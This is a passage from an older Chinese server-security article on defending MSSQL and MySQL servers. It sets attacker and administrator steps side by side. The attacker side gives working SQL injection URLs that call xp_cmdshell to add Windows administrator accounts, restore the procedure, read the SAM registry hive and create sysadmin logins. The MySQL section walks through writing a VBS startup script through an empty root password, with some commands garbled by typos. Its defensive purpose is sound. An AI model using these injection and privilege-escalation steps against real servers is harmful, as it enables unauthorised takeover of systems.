通过这个例子,我们可以看出,只要我们给一些危险的命令如CMD等设置了权限,再安装一个可以防止反向连接木马的防火墙,那么那些所谓的溢出攻击将不能对你的服务器造成造害了。
四、MSSQL注入攻击的防护(本文是本站成员alpha写的)
Mssql注入攻击是比较直接和危害比较大的一种攻击方式,那些所谓的黑客们能够利用它直接取得系统权限。今天我们就来看看如何通过系统设置防止这种攻击:
首先要申明的是,并不是通过这个设置就能保证你的服务器的安全,安全是一个整体,然而整体又正是由这些部分构成的!
对策一:
伪黑客:
假设这个地方可以注入
http://localhost/bbs/news.asp?id=5
我们往往采取下面这种方法来攻击
http://localhost/bbs/news.asp?id=5;exec master.dbo.xp_cmdshell ‘net user alpha /add’---
http://localhost/bbs/news.asp?id=5;exec master.dbo.xp_cmdshell ‘net loclagroup administrators alpha /add’---
好了,alpha已经是系统管理员了!
管理者:
如何防止呢?
看看他们是怎么实现的,通过调用SQL里的master里的扩展存储过程里的xp_cmdshell,(如下图),来执行系统指令!
我们只要点右键删除这个扩展存储,上面的攻击方法便不起作用了!
当然你也可以用下面这句:
sp_dropextendedproc ''xp_cmdshell''
来删除xp_cmdshell
对策二:
黑客对策,如果MSSQL数据库里xp_cmdshell扩展被删掉了,不用怕,我们还有方法的哟!
http://localhost/bbs/news.asp?id=5;exec master.dbo.sp_addextendedproc xp_cmdshell @dllname=’xplog70.dll’;--
通过这样一条我们就又把xp_cmdshell给恢复了。
管理者:靠,看来我们的设置还不够彻底哟
好,在c盘里直接搜索xplog70.dll
如图
找到了,删了它,好了,这个世界清静了,至少那帮人不会直接执行系统指令了!!
对策三:
伪黑客:你以为这样就可以了吗?你错了哟,呵呵,我方法还是多多的哟!
只要你用的是sa账户,我就还有方法的哟
http://localhost/bbs/news.asp?id=5;exec xp_regread ''HKEY_LOCAL_MACHINE'', ''SECURITY\SAM\Domains\Account'', ''F''
看看,说不定我们就能得到管理员的密码哟!
加一个启动项什么的自然不在话下。
管理者:
看来我得下狠的了,看我这样,我把这些扩展都删除了
Xp_regaddmultistring (向注册表中增加项目)
Xp_regdeletekey (从注册表中删除一个键)
Xp_regdeletevalue (从注册表中删除一个键值)
Xp_regenumvalues (列举主键下的键值)
Xp_regread (读去一个主键下的键值)
Xp_regremovemultistring (从注册表中删除项目)
Xp_regwrite (向注册表中写入数据)
看你嚣张,呵呵,想从注册表里面搞,没门!
对策四:
伪黑客:
不让搞注册表就算了,我可以搞别的地方的哟!我加一个sql的管理员还不行吗?
真是的!
http://localhost/bbs/news.asp?id=5;exec master.dbo.sp_addlogin alpha;--
http://localhost/bbs/news.asp?id=5;exec master.dbo.sp_password null,alpha,alpha;--
http://localhost/bbs/news.asp?id=5;exec master.dbo.sp_addsrvrolemember sysadmin alpha;--
看看,说不定那天等xp_cmdshell能用了,我就又是管理员了呢!
管理者:
算了,我不跟你罗嗦了,我不用sa连接数据库还不行?
我建一个权限低一点的账户,比如说建立一个名为 bbs的数据库
然后建一个 名为bbs的账户
确定然后我们再去bbs的用户下中设置一下:
给他分配一些基本的权限就可以了,
好了,如果用这个用户来连接bbs数据库,相对于用sa来说安全多了哟!
还有其他的很多很多的
比如:
删除多余的系统存储过程
sp_bindsession sp_cursor sp_cursorclos sp_cursorfetch sp_cursoropen sp_cursoroption sp_getbindtoken sp_GetMBCSCharLen sp_IsMBCSLeadByte sp_OACreate sp_OADestroy sp_OAGetErrorInfo sp_OAGetProperty sp_OAMethod sp_OASetProperty sp_OAStop sp_replcmds sp_replcounters sp_repldone sp_replflush sp_replstatus sp_repltrans sp_sdidebug xp_availablemedia xp_cmdshell xp_deletemail xp_dirtree xp_dropwebtask xp_dsninfo xp_enumdsn xp_enumerrorlogs xp_enumgroups xp_enumqueuedtasks xp_eventlog xp_findnextmsg xp_fixeddrives xp_getfiledetails xp_getnetname xp_grantlogin xp_logevent xp_loginconfig xp_logininfo xp_makewebtask xp_msver xp_perfend xp_perfmonitor xp_perfsample xp_perfstart xp_readerrorlog xp_readmail xp_revokelogin xp_runwebtask xp_schedulersignal xp_sendmail xp_servicecontrol xp_snmp_getstate xp_snmp_raisetrap xp_sprintf xp_sqlinventory xp_sqlregister xp_sqltrace xp_sscanf xp_startmail xp_stopmail xp_subdirs xp_unc_to_drive
定期检查用户登录情况
Use master
Select name,Password,Accdate
from syslogins
order by name
今天就说到这里了!
其实MSSQL的注入攻击防御还有很多很多东西哟!
比如导出特殊文件,破解网站密码,太多太多了,今天就简单给大家介绍这些
甚至我要说,即使你按这个设置了,你的系统还是危险的,还是脆弱的!
要想得到更安全的配置请继续关注服务器焦点哟!!!
五、简单的MYSQL数据库入侵防御问题(本文由服务器焦点成员 lonely 写的,有点烂)
在网络上,很多系统(win2k、linux)都安装了MYSQL数据库。的确,这个数据库非常受大家欢迎,但这么受欢迎的数据库安装完毕有个漏洞—就是数据库的ROOT的帐号密码为空,现在网络上很多机器都有这类毛病。
我曾经扫描了一个C类地址,竟发现数据库Root密码为空的机器多达89台,因为MYSQL不象MSSQL数据库那样可以调用XP-Shell命令,所以很多人找到这样的漏洞也不会利用。下面我就介绍一下,如何利用Win2k下Root密码为空的数据库:
如果你机器上安装了MYSQL,就可用如下命令:#mysql -u root -h 192.168.0.1 连接成功后,看看服务器有什么数据库:mysql>show databases MYSQL默认安装时会有MYSQL、TEST这两个数据库。 mysql>use test 进入test后,看看里面有什么数据:mysql>shows tables 那里什么也没有,那么我就在里面建立一个新表:mysql>create table lonely (abc text) 这里我创建了一个表名为lonely、字段为abc的表格。
我们再写一个增加Admin、密码为123的用户的命令。如下:
mysql>insert into avalues ("setwshell=createobject ("" W S cript.shell"" )");
mysql>insert into avalues ("a=wshshell.run (""cmd.exe /c net Admin 123/add"",0)");
mysql>insert into avalues ("b=wsgsgell.run(""cmd.exe /c net localgroup Administrators admin/add"",0);看看有没有输入错的地方: mysql>select*forma 输出表为一个VCS的脚本文件:mysql>select *from ainto autfile "c:\\docume~1\\alluse~1\\[开始] 菜单\\程序\\ceshi.vbs";
我们把表中的内容输入到启动组中,是一个VBS的脚本文件!注意“\”符号。现在所有工作都完成了,下面就是等机器重起,机器重起后,ceshi.vbs也会跟着启动,到时候他机器里就有用户为Admin、密码为:123的超级用户了。
防御方法:
对于这种攻击方法的防御最简单、安全的方法就是给MYSQL的Root用户增加口令。方法如下:
本地设置密码:mysql uroot password 密码
远程设置密码:grant select,update,delete on *..*to root@” identified by “密码”如下:
mysql>grant select,update,delete on *..*to root@” identified by"123">\c
mysql>grant select,update,delete on *..*to root@” identified by"123"query ok,0rous affected<0 34 see>
编后语:希望通过本文给各位朋友带来点帮助,写得还有很多不足之处,因为工作的原因,没有太多的时间把整个安全配置过程写得更详细,如需学习更多的服务器攻、防知识,请访问服务器焦点网站 http://www.serverfocus.net 或 http://www.cnhack.cn 。如有问题及建议请发E-mail至 netpk@cnhack.cn 。
http://hackbase.com/tech/2004-12-05/78249.html